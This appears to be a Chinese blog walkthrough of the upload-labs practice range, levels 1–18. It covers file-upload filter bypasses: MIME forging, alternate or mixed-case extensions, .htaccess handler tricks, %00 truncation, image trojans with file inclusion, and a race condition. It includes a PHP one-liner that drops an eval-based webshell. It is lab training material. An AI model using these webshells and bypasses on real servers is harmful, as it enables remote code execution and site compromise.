upload-labs-master 1-18关 通关攻略

1、pass-01(前端js校验)

前端js校验就是这个网站的拦截位置在前端,而不是后端,所以我们需要把前端的校验方法删掉就可以了,找到上传文件的位置,找到校验方式,删掉

创建一个php文件,里面是我们的一句话木马

上传我们的木马文件

这样我们的木马就成功上传了,然后我们用蚁剑连一下看看是否成功

首先访问木马

访问成功后把地址输入到蚁剑里,测试连接

连接成功,那这样我们就成功了

2、pass-02(文件类型校验)

文件类型校验是后端的校验方式,所以我们需要把送到后端的文件类型改成符合条件的才可以

我们还是上传一个php文件去抓包看一下


我们可以看到包里的文件类型不是图片类型,那我们修改一下

把文件类型改为图片格式的就可以了,然后放行

测试连接

连接成功

这一关我们还可以上传一个jpg文件,然后把包里的jpg后缀改为php就可以了

3、pass-03(黑名单绕过)

黑名单绕过我们只需要避开黑名单里包含的文件名就可以了,比如php后缀可以改为php3、php5、phtml等

那么我们创建一个phtml后缀的文件

上传文件

上传成功,测试连接

连接成功

4、.htaccess绕过

这一关可以看到我们普通的绕过方式都被限制了,所以我们只能上传图片,但是图片不能被当做木马使用,所以我们需要借助.htaccess文件来实现木马的运行

新建一个木马文件,并要改为图片格式,再新建一个.htaccess文件,把配置信息放到文件里

<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传我们的图片木马

上传成功之后去访问一下

这是正常的,因为我们的木马现在用不了,接下来再去上传我们的配置文件

上传之后刷新我们的图片木马

这样我们的木马就能用了,去测试连接

连接成功

5、pass-05(后缀大小写绕过)

这关就比较简单了,只需要修改php文件后缀名的大小写就可以了类似Php、PHp、PHP、pHp、等等

直接新建文件的时候就把后缀名改了

上传文件

测试连接

连接成功

6、pass-06(空格绕过)

这关的原理就是虽然网站不让我们上传php文件,但是当我们在后面加个空格的时候他就识别不出来了,所以我们上传的文件名里需要有个空格,但是我们新建的时候是无法直接在后面加个空格的,因为Windows系统会把我们的空格自动删掉,所以需要用到抓包工具

还是新建一个php文件,上传,抓包

抓到包之后,在文件名后加个空格就好了

然后放行,这样就成功传入了我们木马

测试连接

连接成功

7、pass-07(点绕过)

这关和上一关一样,只是把空格换成了点,点也是会被Windows自动删掉的

还是新建文件,抓包

在后缀名的最后加个点,放行

测试连接

8、pass-08(::$data windows特性文件流绕过)

当Windows看到::$data时,会把它当成一个文件流,而不会把它当成一个文件,所以我们可以利用这个特性,在文件名的后面加上::$data来实现绕过

那么步骤就和上两关一样了,新建文件,上传,抓包

在后缀名加上::$data

放行,可以看到上传成功

测试连接

报错了,这是因为::$data是文件流,浏览器不认识,我们需要把它删掉

这样就成功了

9、pass-09(构造后缀绕过)

构造后缀就是需要我们自己去构造一个后缀名,这一关需要我们看一下源码

我们看到了他会删除末尾的点,以及收尾去空,那我们就可以多加一个空格和点让他删,所以我们需要构造一个后缀名点空格点,为什么要是点空格点的形式呢?我们从上往下看源码,第一个删的是末尾的点,第二个删的是空格,经过这两步我们就会发现我们的后缀名变成了:后缀名点,那么最后一个点是干嘛的相信大家心知肚明了,如果没有这个点,那我们的后缀就暴露出来了,会被拦截,如果有的话它就认不出来了,接下来我们就去操作了

新建文件,上传,抓包

抓到包之后,构造一个后缀名点空格点

放行

测试连接

10、pass-10(双写文件后缀绕过)

这关的原理就是当我们用php后缀名时,网站会对关键词php识别,然后删掉,我们需要多构建一个php后缀名,让它删掉php这个关键词之后我们还会有一个php,那么如何构造呢?没错,就是双写后缀名:pphphp,我们把php插入到php里面,这样当网站识别到php的时候识别的是我们标红的php,它删完之后我们剩下的字符刚好组成一个php,而这个时候我们已经进来了,网站已经拦不住我们了,那为什么不这样写呢?phphpp  因为这个时候网站第一个识别到的是开头的php,当网站删掉php之后我们只剩hpp了,明白这些之后接下来我们do it

新建10.php文件,抓包

双写后缀名pphphp

测试连接

11、pass-11(%00截断绕过get)

我们先提交一个php文件看一下

告诉我们上传.jpg等类型的文件,我们修改一下文件名再上传

这里发现网站把我们的文件名转换成了我们不认识的文件,那既然这样的话我们的木马自然写不进去了,接下来我们抓包看一下

save_path的意思是保存的路径。说明我们文件被转义之后在这个路径下,这时我们就可以用到截断符,让我们的jpg文件里的内容保存到我们新建的一个文件里,再把后面的文件截断,放行

可以看到我们的路径多了一个111.php。这个时候我们刚刚上传的11.jpg里的内容已经被我们传到111.php里了,而后面的东西也被我们截断了,这个时候我们去访问111.php

访问

访问成功了,测试连接

12、pass-12(%00截断绕过POST)

这一关和上一关一样,就是多了个需要把%00解码的步骤

新建文件,抓包

修改文件名

截断

解码:选中,鼠标右键,转换,URL,解码

解码完成后,放行

测试连接

13、pass-13(图片马)

这一关我们php文件和图片文件都传不上去了,我们看一下源码

发现网站对我们文件里面的内容读二字节,那我们在我们的文件里写个文件头:GIF89a

然后再上传文件发现可以上传了

图片马不能单独用,需要配合文件包含漏洞一起使用,运行图片马中的恶意代码,我们点击文件包含漏洞看一下

这里告诉我们在这里测试运行,那我们去运行我们的图片,我们需要让我们的图片马在网页上运行,需要用到file运行

测试连接

14、pass-14(图片马)

这关和上一关一样

创建jpg文件,并把GIF头写进去

上传文件,得到文件位置

利用文件包含漏洞,访问文件

测试连接

15、pass-15(图片马)

这关和上两关的步骤一样,这里就不演示了

16、pass-16(二次渲染)

二次渲染就是当我们的图片传到对面的服务器上时,它会把我们的图片里的某些东西打乱,但是不会影响我们图片的正常显示,所以我们需要在自己原有图片的基础上插入一些东西,把这样的图片放进去就可以了,我这里有现成的我就不放了

上传图片文件

访问这个图片

测试连接

暂时连不上,明天再说

17、pass-17(条件竞争)

上传能够输出木马的木马文件,但是上传的这个木马文件很快就会被删除,所以我们需要不停的上传,直到生成了新的木马才可以

创建木马,这条语句的意思是在当前目录生成一个webshell,里面是一句话木马

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

上传文件,抓包

抓到包之后发送到攻击模块,在payload里选择无限重复

开始攻击

等一会我们就可以访问到我们的webshell.php文件了

测试连接

18、/.绕过

这关我们可以上传一个图片文件,保存名称为一个php文件,我们可以上传一个图片木马

这里的.是用来被删除的,斜杠使用来被当做路径的,然后上传

访问

测试连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值